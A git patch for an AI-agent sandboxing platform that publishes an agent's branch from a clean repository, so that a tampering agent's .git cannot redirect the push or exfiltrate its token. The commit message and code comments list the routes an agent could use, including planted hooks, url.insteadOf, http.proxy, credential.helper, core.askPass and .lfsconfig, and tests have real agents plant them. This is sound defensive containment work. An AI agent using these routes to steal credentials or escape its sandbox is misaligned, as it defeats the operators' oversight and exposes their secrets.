From 0fa166e948bbe7dbb3c407af7e5ed7ed69bd287a Mon Sep 17 00:00:00 2001 From: "Mars.P" Date: Tue, 6 Oct 2026 09:36:43 +0800 Subject: [PATCH] Publish agent work from a clean repository After the agent's turn the branch push and its ls-remote readback still ran inside the agent-writable clone, with the network on and the clone credential re-injected into the argv. An agent that wrote its own .git during the run could then redirect or exfiltrate the token: a planted pre-push hook received the authed URL with working egress; url.insteadOf / pushInsteadOf, http.proxy and http.extraHeader rerouted or tampered the request; credential.helper and core.askPass ran code at credential resolution; and a work-tree .lfsconfig could send LFS objects elsewhere. The branch now leaves the clone as two git bundles, built by the same hardened, network-off, credential-free command the capture uses (the clone bound read-only, the bundles written outside the workspace): the cloned base, and the objects the branch adds to it. A fresh platform-owned repository imports the base as is and the added objects under transfer.fsckObjects, then runs the authenticated push, the LFS upload and the readback, so the credential and the network never meet the agent's .git. Only the added objects are checked because the remote already holds the base: a repository whose history carries an object strict fsck rejects, such as a zero-padded file mode, would otherwise lose every branch. git checks a fetched bundle from 2.46; older git imports it unchecked and leaves the remote's own receive checks, as before. A branch reset behind its base adds no object and travels in the base bundle. The clean repo checks out nothing, so a committed .lfsconfig cannot redirect LFS, whose endpoint comes from the explicit authed URL. Lock verification is off for that upload: against a remote without the locks API, git-lfs would write the authed URL, token included, into the publish repo's config. The shallow boundary and the LFS objects are copied on the host, outside any sandbox, from paths the agent controlled. The copy reads only real files inside the clone: it follows no link, opens no FIFO or other special file, and takes only paths shaped like LFS objects. A failure there surfaces as a WorkspaceException, which every caller of the push handles, rather than a raw IO exception that would fail a run that succeeded. Each attempt costs time and disk in proportion to the clone, not to the change. The agent's own commits are preserved. Revise rounds re-publish idempotently, and the publish repo is removed whether the publish succeeds or fails; a leak from a crash is reclaimed by the workspace janitor. A real agent that plants these vectors runs end to end against the publish in the sandbox lanes: Codex in the root lane, and Claude in the non-root lane, because the pinned Claude CLI refuses bypassPermissions, a Standard run's mode, to uid 0. --- .github/workflows/sandbox-isolation.yml | 17 +- .../Agents/Workspace/AgentCloneGitCommand.cs | 11 +- .../Providers/LocalGitWorkspaceProvider.cs | 239 ++++++- .../AgentPublishFromCleanRepoFlowTests.cs | 603 ++++++++++++++++++ .../Workflows/GitPublishRemoteFixture.cs | 342 ++++++++++ .../AgentPublishIsolationE2ETests.cs | 194 ++++++ .../GitWorkspaceIsolationE2ETests.cs | 11 +- .../NonRootWorkerE2ETests.cs | 14 +- .../LocalGitWorkspaceProviderTests.cs | 144 ++++- 9 files changed, 1522 insertions(+), 53 deletions(-) create mode 100644 backend/tests/CodeSpace.IntegrationTests/Workflows/AgentPublishFromCleanRepoFlowTests.cs create mode 100644 backend/tests/CodeSpace.IntegrationTests/Workflows/GitPublishRemoteFixture.cs create mode 100644 backend/tests/CodeSpace.SandboxTests/AgentPublishIsolationE2ETests.cs diff --git a/.github/workflows/sandbox-isolation.yml b/.github/workflows/sandbox-isolation.yml index bbb1ad4a0..02b10a420 100644 --- a/.github/workflows/sandbox-isolation.yml +++ b/.github/workflows/sandbox-isolation.yml @@ -234,8 +234,8 @@ jobs: executed=$(grep -oE 'executed="[0-9]+"' "$trx" | head -1 | grep -oE '[0-9]+') passed=$(grep -oE 'passed="[0-9]+"' "$trx" | head -1 | grep -oE '[0-9]+') echo "executed=${executed:-0} passed=${passed:-0}" - if [ "${executed:-0}" -lt 97 ]; then - echo "::error::Expected >=97 sandbox isolation tests to run (bwrap/prlimit confinement + cap-drop + cgroup-namespace re-root + egress-allowlist filter + cgroup resource cap + durable-launch cgroup wiring + argv/envp per-string kernel ceiling + a prompt past it riding stdin + a read-only workspace mount + a network-off run reaching its broker through the relay and nothing else + an allowlist run relayed to its broker + a read-only reviewer reading its diff with the real CLIs + a bwrap probe that runs the launch argv + the MCP helper bound file by file behind a read-only socket dir + a CLI reaching its broker socket through the relay + a severed child reaching its broker over the lease socket across a worker restart + a pre-relay namespaced run re-bound at its gateway and torn down with its seal + an allowlist run's veth guarded both ways, a flow the worker opened before the run included + forwarding a root worker may not write named before an allowlist is planned + an allowlist run's port 53 open only at the resolvers of the resolv.conf its namespace reads, and still to a resolver address the worker's own NAT rewrites before its forward and its input hooks + a target repository's own CLI config kept out of the run with the real CLIs, every repository's memory read in a multi-repo workspace included + a multi-repo Codex run starting at a workspace root that is no git repository and loading no config from it + a repo-less Codex run starting in a scratch directory that is no git repository + a goal handed to the real Claude CLI as text it cannot act on, fresh and resumed, against the text channel as its control + a repository clean filter the capture runs with its egress severed), but only ${executed:-0} did — the Category=Sandbox filter matched too few (trait regression?). If a case was deliberately removed, lower this number in the same PR." + if [ "${executed:-0}" -lt 98 ]; then + echo "::error::Expected >=98 sandbox isolation tests to run (bwrap/prlimit confinement + cap-drop + cgroup-namespace re-root + egress-allowlist filter + cgroup resource cap + durable-launch cgroup wiring + argv/envp per-string kernel ceiling + a prompt past it riding stdin + a read-only workspace mount + a network-off run reaching its broker through the relay and nothing else + an allowlist run relayed to its broker + a read-only reviewer reading its diff with the real CLIs + a bwrap probe that runs the launch argv + the MCP helper bound file by file behind a read-only socket dir + a CLI reaching its broker socket through the relay + a severed child reaching its broker over the lease socket across a worker restart + a pre-relay namespaced run re-bound at its gateway and torn down with its seal + an allowlist run's veth guarded both ways, a flow the worker opened before the run included + forwarding a root worker may not write named before an allowlist is planned + an allowlist run's port 53 open only at the resolvers of the resolv.conf its namespace reads, and still to a resolver address the worker's own NAT rewrites before its forward and its input hooks + a target repository's own CLI config kept out of the run with the real CLIs, every repository's memory read in a multi-repo workspace included + a multi-repo Codex run starting at a workspace root that is no git repository and loading no config from it + a repo-less Codex run starting in a scratch directory that is no git repository + a goal handed to the real Claude CLI as text it cannot act on, fresh and resumed, against the text channel as its control + a repository clean filter the capture runs with its egress severed + a real Codex agent that tampers its clone's .git while the platform publishes the branch from a clean repo, its Claude counterpart running in the non-root lane), but only ${executed:-0} did — the Category=Sandbox filter matched too few (trait regression?). If a case was deliberately removed, lower this number in the same PR." exit 1 fi @@ -290,6 +290,15 @@ jobs: assert len(clean_filter) == 1 and clean_filter[0].get('outcome') == 'Passed', 'the clean-filter capture case must run once and pass' print('The clean-filter capture case ran and passed.') + # The publish-isolation E2E runs a REAL Codex agent that plants push vectors in its .git, then the platform + # publishes from a clean repo; it is armed by the same CLI pins and returns early the same way. Require its + # marker (confined on this lane) and that it passed. The Claude arm runs in the non-root lane: the pinned CLI + # refuses bypassPermissions, a Standard run's mode, to uid 0. + assert '[publish-isolation-e2e] ran codex-cli uid=0 confined=True' in text, 'publish-isolation E2E arm "codex-cli" did not run confined as root — check CODESPACE_REQUIRE_REVIEW_CLIS and the CLI install step' + publish_iso = [r for r in results if 'AgentPublishIsolationE2ETests.' in r.get('testName', '')] + assert len(publish_iso) == 1 and publish_iso[0].get('outcome') == 'Passed', 'the Codex publish-isolation arm must run once and pass' + print('The Codex publish-isolation E2E arm ran and passed.') + # The sealed-egress E2E returns early on a host that cannot confine, which reads as Passed; require each arm's marker. for arm in ('durable', 'non-durable', 'relay-ipv6', 'restart', 'relay-refused', 'relay-policy-route'): assert f'[sealed-egress-e2e] ran {arm}' in text, f'sealed-egress E2E arm "{arm}" did not run — this lane is root with bwrap and the relay helper, so it must relay' @@ -402,9 +411,9 @@ jobs: root = ET.parse(path).getroot() counters = root.find('.//{*}Counters') executed, passed = int(counters.get('executed')), int(counters.get('passed')) - assert executed >= 15 and passed == executed, f'expected all 15 non-root arms to run and pass, got executed={executed} passed={passed}' + assert executed >= 16 and passed == executed, f'expected all 16 non-root arms to run and pass, got executed={executed} passed={passed}' text = open(path, encoding='utf-8').read() - for marker in ('[non-root-e2e] ran admission uid=1654', '[sealed-egress-e2e] ran non-root durable uid=1654', '[sealed-egress-e2e] ran non-root non-durable uid=1654', '[sealed-egress-e2e] ran non-root restart uid=1654', '[sealed-egress-e2e] ran non-root relay-refused uid=1654', '[sealed-egress-e2e] ran non-root relay-ipv6', '[broker-socket-e2e] ran non-root socket-channel uid=1654', '[review-diff-e2e] ran non-root network-off-relayed claude-code uid=1654', '[review-diff-e2e] ran non-root network-off-relayed codex-cli uid=1654', '[durable-egress-e2e] ran non-root allowlist-severed uid=1654', '[repo-config-e2e] ran non-root claude-code single-repo Standard uid=1654', '[goal-channel-e2e] ran non-root mentions claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root resume claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /fix claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /security-review claude-code Standard uid=1654 confined=True'): + for marker in ('[non-root-e2e] ran admission uid=1654', '[sealed-egress-e2e] ran non-root durable uid=1654', '[sealed-egress-e2e] ran non-root non-durable uid=1654', '[sealed-egress-e2e] ran non-root restart uid=1654', '[sealed-egress-e2e] ran non-root relay-refused uid=1654', '[sealed-egress-e2e] ran non-root relay-ipv6', '[broker-socket-e2e] ran non-root socket-channel uid=1654', '[review-diff-e2e] ran non-root network-off-relayed claude-code uid=1654', '[review-diff-e2e] ran non-root network-off-relayed codex-cli uid=1654', '[durable-egress-e2e] ran non-root allowlist-severed uid=1654', '[repo-config-e2e] ran non-root claude-code single-repo Standard uid=1654', '[goal-channel-e2e] ran non-root mentions claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root resume claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /fix claude-code Standard uid=1654 confined=True', '[goal-channel-e2e] ran non-root slash /security-review claude-code Standard uid=1654 confined=True', '[publish-isolation-e2e] ran non-root claude-code uid=1654 confined=True'): assert marker in text, f'non-root arm marker "{marker}" is missing — the arm returned early or did not run as the worker uid' print(f'All {executed} non-root arms ran as uid 1654 and passed.') PY diff --git a/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs b/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs index 167226774..71a41322a 100644 --- a/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs +++ b/backend/src/CodeSpace.Core/Services/Agents/Workspace/AgentCloneGitCommand.cs @@ -4,10 +4,13 @@ namespace CodeSpace.Core.Services.Agents.Workspace; /// /// Builds every git spec the platform runs over an agent's clone after the agent's turn: the capture -/// (add -A and the diff --cached trio), the re-attach capture, and the branch steps (checkout -B, -/// add -A, commit, diff --quiet, rev-parse HEAD). The agent can write its own .git -/// during the run, so by then its config, hooks and attributes are the agent's. Each spec built here makes sure a -/// tampered .git cannot run code with anything the agent does not already have: +/// (add -A and the diff --cached trio), the re-attach capture, the branch steps (checkout -B, +/// add -A, commit, diff --quiet), and the publish's steps there: the update-ref that names the +/// cloned base, the merge-base --is-ancestor that asks whether the branch adds anything to it, and the +/// bundle creates that carry the base and the branch out to the platform-owned publish repo (the clone bound +/// read-only, the bundles written outside it). The agent can write its own .git during the run, so by then its +/// config, hooks and attributes are the agent's. Each spec built here makes sure a tampered .git cannot run code +/// with anything the agent does not already have: /// /// -c core.hooksPath=/dev/null — a command-line value beats the repo's own, so neither a planted /// .git/hooks/* nor an agent-set hooks directory runs, and a vetoing pre-commit can no longer lose the diff --git a/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs b/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs index 821824332..c515068cf 100644 --- a/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs +++ b/backend/src/CodeSpace.Core/Services/Agents/Workspace/Providers/LocalGitWorkspaceProvider.cs @@ -25,6 +25,16 @@ public sealed class LocalGitWorkspaceProvider : IWorkspaceProvider, IWorkspaceJa private const int CloneTimeoutSeconds = 300; private const int CaptureTimeoutSeconds = 120; private const int PushTimeoutSeconds = 300; + + /// The initial branch of the throwaway publish repo — never pushed; the run branch is fetched into its own ref and pushed from there. + private const string PublishScratchBranch = "codespace-publish-scratch"; + + /// The ref the publish writes in the agent clone (and mirrors in the publish repo) to name the cloned base, so the base can leave the clone as a bundle of its own. + private const string PublishBaseRef = "refs/codespace/publish-base"; + + /// Recurse without following a link: a linked directory is neither listed nor entered, so a walk over the agent's .git stays inside the clone and a link loop ends. + private static readonly EnumerationOptions WithoutFollowingLinks = new() { RecurseSubdirectories = true, AttributesToSkip = FileAttributes.ReparsePoint, IgnoreInaccessible = false }; + /// Root for transient agent scratch clones (agent workspaces + branch-integration clones), under the worker's temp dir. Internal so the LocalGitBranchIntegrator stages its integration clone here too and the same janitor reclaims a leaked one. internal static readonly string WorkspacesRoot = Path.Combine(Path.GetTempPath(), "codespace-agent-workspaces"); @@ -88,7 +98,7 @@ public async Task PrepareAsync(WorkspaceProvisionRequest reque var primaryAlias = (request.Primary ?? throw new WorkspaceException("Workspace provision has no resolvable primary repository.")).Alias; var cwd = ResolveCwd(request.CwdMode, workspaceRoot, materialized, primaryAlias, single); - return new LocalWorkspaceHandle(workspaceRoot, cwd, materialized, primaryAlias, _runners.Resolve(Kind), _logger); + return new LocalWorkspaceHandle(workspaceRoot, cwd, materialized, primaryAlias, _runners.Resolve(Kind), _logger, _workspacesRoot); } catch { @@ -135,6 +145,12 @@ internal static bool IsSafeMountSegment(string segment) => && segment.IndexOf('/') < 0 && segment.IndexOf('\\') < 0 && !Path.IsPathRooted(segment); + /// git-lfs stores an object at <oid[0..2]>/<oid[2..4]>/<oid> under .git/lfs/objects, the oid being 64 lowercase hex digits; nothing else in that store is an object a push needs. Pure + internal so it's unit-pinned. + internal static bool IsLfsObjectPath(string relative) => + relative.Split(Path.DirectorySeparatorChar) is [var first, var second, var oid] + && oid.Length == 64 && oid.All(char.IsAsciiHexDigitLower) + && first == oid[..2] && second == oid[2..4]; + /// Clone one repo, strip its token from the persisted remote, and read its base revision — the per-repo unit of the workspace. private async Task MaterializeAsync(WorkspaceRepositoryProvision repo, string directory, CancellationToken cancellationToken) { @@ -623,14 +639,16 @@ internal static string Redact(string text, string? token) private sealed class LocalWorkspaceHandle : IWorkspaceHandle, IWorkspacePushHandle { private readonly string _workspaceRoot; + private readonly string _publishRoot; private readonly IReadOnlyList _repos; private readonly MaterializedRepo _primary; private readonly ISandboxRunner _runner; private readonly ILogger _logger; - public LocalWorkspaceHandle(string workspaceRoot, string cwd, IReadOnlyList repos, string primaryAlias, ISandboxRunner runner, ILogger logger) + public LocalWorkspaceHandle(string workspaceRoot, string cwd, IReadOnlyList repos, string primaryAlias, ISandboxRunner runner, ILogger logger, string publishRoot) { _workspaceRoot = workspaceRoot; + _publishRoot = publishRoot; Directory = cwd; _repos = repos; _primary = repos.First(r => r.Alias == primaryAlias); @@ -717,34 +735,129 @@ private async Task CaptureRepoChangesAsync(MaterializedRepo re if (!committed && !await HeadDiffersFromBaseAsync(repo, cancellationToken).ConfigureAwait(false)) return null; - // Re-inject the SAME clone credential into the push ARGV only (never as a remote, never into - // .git/config — origin was stripped after clone). Plain --force, not --force-with-lease: an - // observe-then-lease here would still admit a zombie whose observation is fresh at push time, so the - // zombie fence lives in the REF NAME instead (AgentRunExecutor.BuildBranchName is generation-specific - // — a superseded attempt cannot name the current attempt's ref), and a lease's no-remote-tracking-ref - // semantics vary by git version. The push gets a bounded timeout so a hung push can't delay run completion. - var authedUrl = BuildAuthenticatedUrl(repo.RepositoryUrl, repo.TokenUsername, repo.Token); + return await PublishFromCleanRepoAsync(repo, branchName, cancellationToken).ConfigureAwait(false); + } + + /// + /// Publish the produced branch to the remote from a FRESH platform-owned repository outside the workspace, so the + /// credential and the network never meet the agent-writable .git. The branch leaves the agent clone as git + /// BUNDLES built by the same hardened, network-off, credential-free command the capture uses; the clean repo imports + /// them, and the authenticated push, its LFS upload and its readback run there. The agent's own commits are + /// preserved: the bundles carry the whole branch, so the remote lands the agent's history plus the capture commit. + /// + /// The cloned base and the objects the branch ADDS travel separately so that only the latter are checked + /// (transfer.fsckObjects): the remote already holds the base, legacy objects a strict check rejects included, + /// and re-checking it would lose the branch on every such repository. git checks a fetched bundle from 2.46; on older + /// git the import is unchecked and the remote's own receive checks remain the only ones, as before this publish. + /// + /// A re-push (an S6 revise round) stages a fresh publish repo and force-pushes idempotently; the publish repo + /// is removed on every path. A leaked one (a crash between staging and cleanup) sits under the workspaces root, so + /// the same age-based janitor reclaims it. The cost is the clone's, not the change's: the base bundle and the LFS + /// copy are as large as the clone, on every attempt. + /// + private async Task PublishFromCleanRepoAsync(MaterializedRepo repo, string branchName, CancellationToken cancellationToken) + { + var publishDir = Path.Combine(_publishRoot, "publish-" + Guid.NewGuid().ToString("N")); + + try + { + OnHost(repo, "stage the publish repository", () => System.IO.Directory.CreateDirectory(publishDir)); + + var addsObjects = await BundleTheBranchOutAsync(repo, publishDir, branchName, cancellationToken).ConfigureAwait(false); + + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "init", "-q", "-b", PublishScratchBranch }, cancellationToken, network: false).ConfigureAwait(false); + + var hasLfs = OnHost(repo, "copy the clone's shallow boundary and LFS objects", () => CopyCloneStateIntoPublishRepo(repo.Directory, publishDir, cancellationToken)); + + await ImportBundlesAsync(repo, publishDir, branchName, addsObjects, cancellationToken).ConfigureAwait(false); + + // Re-inject the SAME clone credential into the ARGV only (never a remote, never .git/config). Plain --force, + // not --force-with-lease: an observe-then-lease would still admit a zombie whose observation is fresh at push + // time, so the zombie fence lives in the REF NAME instead (AgentRunExecutor.BuildBranchName is + // generation-specific — a superseded attempt cannot name the current attempt's ref), and a lease's + // no-remote-tracking-ref semantics vary by git version. Bounded timeout so a hung push can't delay completion. + var authedUrl = BuildAuthenticatedUrl(repo.RepositoryUrl, repo.TokenUsername, repo.Token); + + // LFS blobs BEFORE the refs (git's own pre-push order), so the remote never holds a pointer whose object is + // missing. The clean repo has no working-tree .lfsconfig (nothing is checked out), and the endpoint comes + // from the explicit authed URL — a hostile committed .lfsconfig cannot redirect the upload. Lock verification + // is off: against a remote without the locks API git-lfs would otherwise record lfs..locksverify in the + // publish repo's .git/config, keyed by the authed URL, which would put the token on disk. + if (hasLfs) + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "-c", "lfs.locksverify=false", "lfs", "push", authedUrl, branchName }, cancellationToken, network: true, PushTimeoutSeconds).ConfigureAwait(false); + + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "push", "--force", authedUrl, $"{branchName}:{branchName}" }, cancellationToken, network: true, PushTimeoutSeconds).ConfigureAwait(false); + + repo.PushedCommitSha = await ReadBackPushedShaAsync(repo, publishDir, authedUrl, branchName, cancellationToken).ConfigureAwait(false); - await RunGitOrThrowAsync(repo, new[] { "push", "--force", authedUrl, $"{branchName}:{branchName}" }, cancellationToken, PushTimeoutSeconds).ConfigureAwait(false); + return branchName; + } + finally + { + TryDeleteDirectory(publishDir); + } + } + + /// + /// Carry the branch out of the agent clone as bundles in the publish dir: base.bundle holds the cloned base + /// (named by ), run.bundle only the objects the branch adds to it. Returns whether + /// the branch adds any: a branch reset behind its base adds none, so it rides the base bundle, because git refuses + /// to write a bundle of nothing. + /// + private async Task BundleTheBranchOutAsync(MaterializedRepo repo, string publishDir, string branchName, CancellationToken cancellationToken) + { + await RunAgentCloneGitOrThrowAsync(repo, new[] { "update-ref", PublishBaseRef, repo.BaseSha }, cancellationToken).ConfigureAwait(false); + + var addsObjects = !await BranchIsWithinBaseAsync(repo, branchName, cancellationToken).ConfigureAwait(false); + + await RunAgentCloneBundleAsync(repo, publishDir, BaseBundle(publishDir), addsObjects ? new[] { PublishBaseRef } : new[] { PublishBaseRef, branchName }, cancellationToken).ConfigureAwait(false); + + if (addsObjects) + await RunAgentCloneBundleAsync(repo, publishDir, RunBundle(publishDir), new[] { branchName, "^" + PublishBaseRef }, cancellationToken).ConfigureAwait(false); + + return addsObjects; + } + + /// True when the branch tip is the base or one of its ancestors, so every object it reaches is already in the base bundle. A failed check reads as "adds objects": the run bundle is then attempted, and a truly empty one fails loudly. + private async Task BranchIsWithinBaseAsync(MaterializedRepo repo, string branchName, CancellationToken cancellationToken) + { + var result = await RunAgentCloneGitAsync(repo, new[] { "merge-base", "--is-ancestor", branchName, PublishBaseRef }, cancellationToken, CaptureTimeoutSeconds).ConfigureAwait(false); + return result.Status == SandboxStatus.Success; + } + + /// + /// Import the bundles into the publish repo: the base unchecked — the remote already holds it — and the objects the + /// branch adds under transfer.fsckObjects, so a malformed object the agent wrote never reaches the push. + /// Both imports are local, and as heavy as the push, so they get its budget. + /// + private async Task ImportBundlesAsync(MaterializedRepo repo, string publishDir, string branchName, bool addsObjects, CancellationToken cancellationToken) + { + var branchRefspec = $"{branchName}:refs/heads/{branchName}"; + var baseRefspecs = addsObjects ? new[] { $"{PublishBaseRef}:{PublishBaseRef}" } : new[] { $"{PublishBaseRef}:{PublishBaseRef}", branchRefspec }; - repo.PushedCommitSha = await ReadBackPushedShaAsync(repo, authedUrl, branchName, cancellationToken).ConfigureAwait(false); + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "fetch", BaseBundle(publishDir) }.Concat(baseRefspecs).ToArray(), cancellationToken, network: false, PushTimeoutSeconds).ConfigureAwait(false); - return branchName; + if (addsObjects) + await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "-c", "transfer.fsckObjects=true", "fetch", RunBundle(publishDir), branchRefspec }, cancellationToken, network: false, PushTimeoutSeconds).ConfigureAwait(false); } + private static string BaseBundle(string publishDir) => Path.Combine(publishDir, "base.bundle"); + + private static string RunBundle(string publishDir) => Path.Combine(publishDir, "run.bundle"); + /// /// P3b-2 provider readback: re-read the just-pushed branch FROM THE REMOTE (ls-remote) and confirm it /// equals the local tip — "arrival" becomes an observed remote fact instead of a push self-report. Best-effort /// by design: an unreadable remote or a mismatched tip (raced) returns null with a warning — the push itself /// already succeeded, so the branch stands; only the CONFIRMATION is withheld, never fabricated. /// - private async Task ReadBackPushedShaAsync(MaterializedRepo repo, string authedUrl, string branchName, CancellationToken cancellationToken) + private async Task ReadBackPushedShaAsync(MaterializedRepo repo, string publishDir, string authedUrl, string branchName, CancellationToken cancellationToken) { try { - var localTip = (await RunAgentCloneGitOrThrowAsync(repo, new[] { "rev-parse", "HEAD" }, cancellationToken).ConfigureAwait(false)).Trim(); + var localTip = (await RunPublishGitOrThrowAsync(repo, publishDir, new[] { "rev-parse", $"refs/heads/{branchName}" }, cancellationToken, network: false).ConfigureAwait(false)).Trim(); - var readback = await RunGitAsync(repo, new[] { "ls-remote", authedUrl, $"refs/heads/{branchName}" }, cancellationToken, PushTimeoutSeconds).ConfigureAwait(false); + var readback = await RunPublishGitAsync(repo, publishDir, new[] { "ls-remote", authedUrl, $"refs/heads/{branchName}" }, cancellationToken, network: true, PushTimeoutSeconds).ConfigureAwait(false); if (readback.Status != SandboxStatus.Success || readback.ExitCode != 0) { @@ -806,15 +919,97 @@ private Task RunAgentCloneGitOrThrowAsync(MaterializedRepo repo, IReadOn private Task RunAgentCloneGitAsync(MaterializedRepo repo, IReadOnlyList args, CancellationToken cancellationToken, int timeoutSeconds) => ExecuteGitAsync(repo, args, AgentCloneGitCommand.Build(args, repo.Directory, repo.ReadOnlyPaths, timeoutSeconds), cancellationToken); - // ── Commands that reach the remote (the authenticated push and its ls-remote readback) ── - // Network on, and the clone credential re-injected into the argv. + /// Bundle out of the agent clone into the publish dir: the agent clone is bound read-only ( is the writable cwd), hardened like every other agent-clone command, with no network and no credential. + private Task RunAgentCloneBundleAsync(MaterializedRepo repo, string publishDir, string bundlePath, IReadOnlyList revisions, CancellationToken cancellationToken) + { + var args = new[] { "-C", repo.Directory, "bundle", "create", bundlePath }.Concat(revisions).ToArray(); + + return EnsureSuccessAsync(repo, args, ExecuteGitAsync(repo, args, AgentCloneGitCommand.Build(args, publishDir, new[] { repo.Directory }, PushTimeoutSeconds), cancellationToken)); + } + + // ── Commands over the platform-owned publish repo (init, fetch, lfs push, push, rev-parse, ls-remote) ── + // A fresh repo outside the workspace, never touched by the agent. Only the commands that reach the remote carry the + // credential (in the argv) and the network; the credential never meets the agent-writable .git. + + private Task RunPublishGitOrThrowAsync(MaterializedRepo repo, string publishDir, IReadOnlyList args, CancellationToken cancellationToken, bool network, int timeoutSeconds = CaptureTimeoutSeconds) => + EnsureSuccessAsync(repo, args, RunPublishGitAsync(repo, publishDir, args, cancellationToken, network, timeoutSeconds)); + + /// Run a git command in the publish repo (its directory as cwd). Returns the raw result so a caller can classify it (e.g. an unreadable remote on the readback) rather than always throw. + private Task RunPublishGitAsync(MaterializedRepo repo, string publishDir, IReadOnlyList args, CancellationToken cancellationToken, bool network, int timeoutSeconds) => + ExecuteGitAsync(repo, args, new SandboxSpec { Command = "git", Args = args, WorkingDirectory = publishDir, TimeoutSeconds = timeoutSeconds, AllowNetwork = network }, cancellationToken); + + /// + /// Host-side IO the publish does itself rather than through the runner (staging its directory, copying the clone's + /// shallow boundary and LFS objects). Any failure — a full disk, an unreadable file — maps onto a redacted + /// , as does for git, so every caller's + /// WorkspaceException handling (the push retry, per-repo isolation, a push failure never failing a Succeeded run) + /// still holds. + /// + private static T OnHost(MaterializedRepo repo, string step, Func io) + { + try + { + return io(); + } + catch (Exception ex) when (ex is not OperationCanceledException) + { + throw new WorkspaceException($"Publishing could not {step}: {Redact(ex.Message, repo.Token)}", ex); + } + } + + /// + /// Copy the two pieces of the agent clone's .git the publish repo needs besides the bundles: the shallow + /// boundary and the LFS objects. This runs on the host, outside any sandbox, over paths the agent controlled, so it + /// reads only real files physically inside the clone: a link (to a file, a directory, or itself) or a special file + /// (a FIFO would block the open forever) is skipped. Returns whether any LFS object was copied. + /// + private static bool CopyCloneStateIntoPublishRepo(string cloneDir, string publishDir, CancellationToken cancellationToken) + { + CopyShallowBoundary(cloneDir, publishDir); + return CopyLfsObjects(cloneDir, publishDir, cancellationToken); + } + + /// Copy the agent clone's shallow boundary, if it is shallow, so the publish repo accepts a base bundle that legitimately omits the base's parents. A boundary that is not a real file in the clone is not copied, and the import then fails closed. + private static void CopyShallowBoundary(string cloneDir, string publishDir) + { + var gitDir = Path.Combine(cloneDir, ".git"); + var source = Path.Combine(gitDir, "shallow"); + + if (IsUnlinked(cloneDir) && IsUnlinked(gitDir) && IsPlainFile(source)) File.Copy(source, Path.Combine(publishDir, ".git", "shallow"), overwrite: true); + } + + /// Copy every real LFS object in the clone's store so git lfs push can upload the ones the branch's pointers name. Only object-shaped paths count, so an LFS-free repo, or one whose store holds nothing but planted entries, invokes git-lfs not at all. + private static bool CopyLfsObjects(string cloneDir, string publishDir, CancellationToken cancellationToken) + { + var gitDir = Path.Combine(cloneDir, ".git"); + var source = Path.Combine(gitDir, "lfs", "objects"); + + if (!new[] { cloneDir, gitDir, Path.Combine(gitDir, "lfs"), source }.All(IsUnlinked)) return false; + + var copied = 0; + + foreach (var file in System.IO.Directory.EnumerateFiles(source, "*", WithoutFollowingLinks)) + { + cancellationToken.ThrowIfCancellationRequested(); + + var relative = Path.GetRelativePath(source, file); + + if (!IsLfsObjectPath(relative) || !IsPlainFile(file)) continue; + + var destination = Path.Combine(publishDir, ".git", "lfs", "objects", relative); + System.IO.Directory.CreateDirectory(Path.GetDirectoryName(destination)!); + File.Copy(file, destination, overwrite: true); + copied++; + } + + return copied > 0; + } - private Task RunGitOrThrowAsync(MaterializedRepo repo, IReadOnlyList args, CancellationToken cancellationToken, int timeoutSeconds = CaptureTimeoutSeconds) => - EnsureSuccessAsync(repo, args, RunGitAsync(repo, args, cancellationToken, timeoutSeconds)); + /// The path exists and is not itself a link. + private static bool IsUnlinked(string path) => (File.Exists(path) || System.IO.Directory.Exists(path)) && new FileInfo(path).LinkTarget is null; - /// Run a git command in a SPECIFIC repo's clone (its directory as cwd) with explicit remote-network access. Returns the raw result so a caller can classify it (e.g. an unreadable remote on the readback) rather than always throw. - private Task RunGitAsync(MaterializedRepo repo, IReadOnlyList args, CancellationToken cancellationToken, int timeoutSeconds) => - ExecuteGitAsync(repo, args, new SandboxSpec { Command = "git", Args = args, WorkingDirectory = repo.Directory, ReadOnlyPaths = repo.ReadOnlyPaths, TimeoutSeconds = timeoutSeconds, AllowNetwork = true }, cancellationToken); + /// A regular, non-empty file that is not a link. A FIFO, socket or device reports no length, so it never qualifies — and an empty file is never an LFS object or a shallow boundary. + private static bool IsPlainFile(string path) => new FileInfo(path) is { Exists: true, LinkTarget: null, Length: > 0 }; /// The one place a built spec is handed to the runner: maps any infrastructure failure (git not on PATH, the working directory removed mid-run) onto a redacted so no raw Win32Exception/IOException — and no echoed token — leaks to the caller. private async Task ExecuteGitAsync(MaterializedRepo repo, IReadOnlyList args, SandboxSpec spec, CancellationToken cancellationToken) diff --git a/backend/tests/CodeSpace.IntegrationTests/Workflows/AgentPublishFromCleanRepoFlowTests.cs b/backend/tests/CodeSpace.IntegrationTests/Workflows/AgentPublishFromCleanRepoFlowTests.cs new file mode 100644 index 000000000..5b657963a --- /dev/null +++ b/backend/tests/CodeSpace.IntegrationTests/Workflows/AgentPublishFromCleanRepoFlowTests.cs @@ -0,0 +1,603 @@ +using CodeSpace.Core.Services.Agents.Sandbox; +using CodeSpace.Core.Services.Agents.Sandbox.Runners; +using CodeSpace.Core.Services.Agents.Workspace; +using CodeSpace.Core.Services.Agents.Workspace.Providers; +using CodeSpace.Messages.Agents; +using Microsoft.Extensions.Logging.Abstractions; +using Shouldly; + +namespace CodeSpace.IntegrationTests.Workflows; + +/// +/// HIGH fidelity (Rule 12): the REAL + real git + real git-lfs +/// publishing an agent's produced branch to a real loopback smart-HTTP remote () +/// that demands a FAKE token for every write. After the clone — as a tampering agent could during its turn — each test +/// plants the remote-redirect and credential-execution vectors that only bite when git reaches a remote: a pre-push, +/// pre-commit, post-checkout and reference-transaction hook; url.insteadOf and +/// 